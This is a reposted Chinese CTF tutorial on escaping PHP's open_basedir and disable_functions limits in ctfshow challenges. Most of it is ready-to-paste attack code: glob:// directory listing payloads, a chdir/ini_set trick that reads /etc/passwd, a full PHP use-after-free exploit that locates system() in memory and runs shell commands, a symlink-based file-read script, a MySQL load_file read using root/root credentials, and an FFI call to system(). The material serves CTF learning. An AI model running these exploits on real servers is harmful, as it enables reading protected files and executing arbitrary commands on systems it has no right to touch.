主页 > 其他  > 

Bypassopen_basedir

Bypassopen_basedir

讲解

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/ /html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/ /html/web1/和/tmp/这两个目录以外的文件。

ctfshow题目: 

error_reporting(0); highlight_file(__FILE__); eval($_POST[1]); 利用命令执行函数Bypass

open_basedir对命令执行函数没有限制,我们可以使用system()函数读到目标文件

利用glob://伪协议Bypass 

只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。 

方式1—DirectoryIterator+glob:// DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。 DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件 

<?php 一句话payload $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> c=$c = "glob:///*";$a = new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}exit();

方式2——opendir()+readdir()+glob:// opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目 

一句话 c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(0);  利用chdir()与ini_set()组合Bypass payload:其中chdir('..')尽量多,确保到达根目录 mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd'); 然后使用脚本来读取flag文件 脚本需要编码传参 ?><?php pwn("cat /flag0.txt"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function my_str_repeat($a,$b){ $s = ''; for($i = 0; $i <= $b;$i++){ $s.=$a; } return $s; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(my_str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(my_str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } exit();

P神脚本绕过 

传参file为

<?php /* * by phithon * From .leavesongs * detail: http://cxsecurity /issue/WLB-2009110068 */ header('content-type: text/plain'); error_reporting(-1); ini_set('display_errors', TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion()); printf("disable_functions: %s\n", ini_get('disable_functions')); $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd'); $relat_file = getRelativePath(__FILE__, $file); $paths = explode('/', $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink'); function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr; }


(1)绕过例题

ob_get_contents — 返回输出缓冲区的内容 ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲 

需要exit(0)中断退出,或者eval语句格式为 ?><?php    ?>来闭合让后面代码不执行

error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>

 题目禁了很多函数

payload: c=var_export(scandir('/'));exit(); c=include("/flagc.txt");exit(0); c=require("/flagc.txt");exit(0); c=require_once("/flagc.txt");exit(0);

如果open_basedir限制了flag文件那么可以用sql读取

利用mysql的load_file读文件,绕过open_basedir 限制。(只限制了PHP的访问目录,不关MYSQL的事情)数据库名、账号密码可以通过之前的题目(过滤少的)拿到。所以这个方法条件是必须要有数据库名、账号密码

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

(2) web 77  

FFI,php7.4以上才有  这题在题干中说到php7.4,可以来绕过disable_functions

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

payload: c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit();

标签:

Bypassopen_basedir由讯客互联其他栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“Bypassopen_basedir